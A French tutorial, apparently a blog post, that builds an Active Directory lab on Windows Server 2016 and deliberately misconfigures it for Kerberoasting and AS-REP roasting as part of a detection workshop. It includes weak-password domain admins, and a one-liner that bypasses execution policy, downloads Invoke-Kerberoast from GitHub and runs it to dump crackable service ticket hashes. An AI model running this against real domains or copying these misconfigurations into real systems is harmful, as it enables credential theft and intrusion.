50ba2409d3048076b90210f379ef2864.png

Afin de pouvoir réaliser la suite du workshop de F-Secure, nous allons créer une machine virtuelle Windows Server 2016, configurer Active Directory, et le rendre vulnérable à quelques attaques.

Remarque: Dans ce lab, les VM utilisent un accès par pont. Utilisation de VirtualBox

  • Créer une nouvelle VM et insérer l’ISO de Windows Server 2016

ISO Windows Server 2016: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016

4b66cfd519784952459c7b72fec2ed9d.png

  • Lancer la VM et installer Windows Server 2016

4e0b7cd0006cd693d1404e9ec54694b6.png

  • Installer

Choisir l’option Windows Server 2016 Standard Evaluation (Experience Utilisateur)

7bc9d4c817a96a39665de5fe04dfd3a7.png

Choisir Personnalisé

daabcdc117dbf40fffdca2475badb8cb.png

35b78a7d8e03e630c3601e9b07261829.png

092fd34a61e27626a97375d6104f5244.png

La VM va redemarrer. Créer un mdp pour le compte Administrateur.

Utiliser une IP Statique vu qu’on va se servir du serveur comme contrôleur de domaine. Utiliser la même IP pour le serveur DNS

47fe379bd1e6352930a01c3a51b1bc30.png

Pour installer AD via le Gestionnaire de serveur voir [2,3,5]. Ici, nous installerons Active Directory avec PowerShell.

Installer AD avec PowerShell [1]

Install-windowsfeature AD-domain-services

ec4392c5d5efb816b20a1fa14d6afb24.png

Création du domaine

Import-Module ADDSDeployment
Install-ADDSForest -CreateDnsDelegation:$false ` -DatabasePath "C:\Windows\NTDS" ` -DomainMode "Win2012R2" ` -DomainName "server1.hacklab.local" ` -DomainNetbiosName "server1" `  -ForestMode "Win2012R2" `  -InstallDns:$true `  -LogPath "C:\Windows\NTDS" `  -NoRebootOnCompletion:$false `  -SysvolPath "C:\Windows\SYSVOL" `  -Force:$true

a3647078abecffe08f53bea35b574a12.png

La VM reboot et le domaine est créé

Get-ADForest

7bbbbe66bd31094b9572b4dd5e429949.png

Get-ADDomain

5fabcd0aaa8d224cce8a0b4ba29b4b63.png

Pour avoir accès à internet, penser à configurer la redirection DNS avec le DNS Google [4]

  • Gestionnaire DNS

bb94f52a42f0529e33e84baf8e0ae962.png

  • Clic droit > Propriétés > Redirecteurs

Ajouter 8.8.8.8 et 8.8.4.4

ab6915956c45bc3fa27b2aba600b3880.png

  • Installer RSAT-ADDS

7c4a569654c7edc51a8a1bee5e40ce92.png

Permet d’avoir accès aux outils AD dans les outils d’admin windows

6ab6d469ee1f77f1a5e8815780f2044e.png

  • Ajout d’un utilisateur au domaine

net user user1 Passw0rd! /ADD /DOMAIN

dd010a140320e8c9ce15aeec257184fe.png

  • Ajouter cet utilisateur au groupe Admins du domaine /!\ Bad user!!

net group “Admins du domaine” user1 /add

d3db31878a7d3095871d2a83057d652a.png

Utilisateur bien créé et membre de Admins du domaine

176f1aa7cc81075b6eef84b3d9721923.png

2a8a00b769b2f97245d32d34fc2e19a8.png

b9ce51f5a7cfbbe8c5ae00ea10f12a92.png

Vérifier que cet utilisateur a un attribut servicePrincipalName SPN.

Commandes powershell listant tous les SPN [5] :

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()
foreach($result in $results)
{
       $userEntry = $result.GetDirectoryEntry()
       Write-host "Object Name = " $userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
       Write-host "DN      =      "  $userEntry.distinguishedName
       Write-host "Object Cat. = "  $userEntry.objectCategory
       Write-host "servicePrincipalNames"
       $i=1
       foreach($SPN in $userEntry.servicePrincipalName)
       {
           Write-host "SPN(" $i ")   =      " $SPN       $i+=1
       }
       Write-host ""
}

2ee24a13ceb71617cefd8925db90fe7a.png

e60dedba1254d46e45fcbb181197247b.png

Il existe beaucoup de scripts permettant de découvrir les SPN (impacket, Empire, etc.) Voir [6]

Ajout d’un deuxième utilisateur, c’est ce user qu’on utilisera pour se loguer sur la Win 7 (ou la Win 10)

89cb1649b746a61cbfe00fe17737eebb.png

Pour download une VM Win 7 et/ou Win 10: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/

Lancer la VM Win 7 et modifier le serveur DNS pour utiliser le serveur Windows 2016

282b6d60b805cfdbf5c69b6215418fcc.png

Vérifier qu’on peut ping le domaine

2eb994b52148e2c5e65618d6a214b8a5.png

Computer > Properties > Change Settings

52e348dcc83de5d2f2f987e8506b80c1.png

Changer le nom du domaine

Ajouter l’utilisateur

deb0b02f00a0fe1ee0c2f90099278503.png

20e3b5a23e08cf054c7fa4af47e40236.png

Rebooter

8ec6b13835d53ec6ff073ab3d5355429.png

49a89c629f5daa2471a2578d19ae2f87.png

Même chose pour Windows 10

Changer le DNS et le nom de domaine, ajouter l’utilisateur

b7f0fe2665a257405c30444ab843a7ff.png

c0bf7edf1728fd1e3c7ce5ef83d79c14.png

Afin de pouvoir exploiter ce lab plus tard, nous allons créer deux misconfiguration permettant les attaques Kerberoasting et AS-REP roasting.

Pour implenter d’autres vulnérabiltiés, voir [7]

1. Kerberoasting

4841aac631175076eda8f5956fc0ac20.png Source [7]

Sur le serveur:

PS > setspn -s http/server1.hacklab.local:80 user1

7314117416f2a2dd2818d6100c0350d8.png

Test avec Invoke-Kerberoast sur la Win 7 [8]

powershell -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/myexploit/PS_Scripts_Backup/master/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash1.txt"

f7424c33191313a031e23a84810d56b4.png

74dd5d5be427825f13cda16842bb3134.png

Crackable avec Hashcat. Pour plus de détails sur les étapes de l’attaque Kerberoast, voir [9]

2. AS-REP roasting

d0237a2519db59878701c73c04810505.png Source: [7]

Créer un nouvel utilisateur

2ac61ae23960f155d5d0b8a43fd7f425.png

4b449a43fe4c1728757ba3d43b9054ed.png

d1667d18e944ec73a25e8114a10bcbec.png

user2::Passw0rd!

Dans les propriétés du compte, cocher La pré-authentification Kerberos n'est pas nécessaire

6163bbc483e5465398e5bc0b68df9922.png

Ce compte est désormais vulnérable à l’AS-REP roasting

Conclusion

Dans ce lab, nous avons créé une infrastructure Active Directory vulnérable au Kerberoasting et au AS-REP roasting.

Dans la suite du workshop Attack Detection Fundamentals de F-Secure nous exploiterons ces vulnérabilités et le analyserons à la recherche d’indicateurs de compromission.

Références

[1] 1337Red, Building and Attacking An Active Directory Lab With Powershell, https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/

[2] Vartai Security, Lab Building Guide: Virtual Active Directory, https://medium.com/@vartaisecurity/lab-building-guide-virtual-active-directory-5f0d0c8eb907

[3] Robert Scocca, Building an Active Directory Lab, https://robertscocca.medium.com/building-an-active-directory-lab-82170dd73fb4

[4] Configuration DNS sur Windows Server 2016, https://no-impact.eu/do-it-yourself-post-6-Configuration-DNS-sur-Windows-Server-2016

[5] Microsoft, Active Directory: PowerShell script to list all SPNs used, https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx

[6] Pentestlab, SPN Discovery, https://pentestlab.blog/2018/06/04/spn-discovery/

[7] SEC Consult, Creating Active Directory Labs for Blue and Red Teams, https://sec-consult.com/blog/detail/creating-active-directory-labs-for-blue-and-red-teams/

[8] m0chan, How To Attack Kerberos 101, https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html#invoke-kerberoastps1

[9] Pentestlab, Kerberoast, https://pentestlab.blog/2018/06/12/kerberoast/

Poursuivez avec :

CC-BY

This work is licensed under a Creative Commons Attribution 4.0 International License.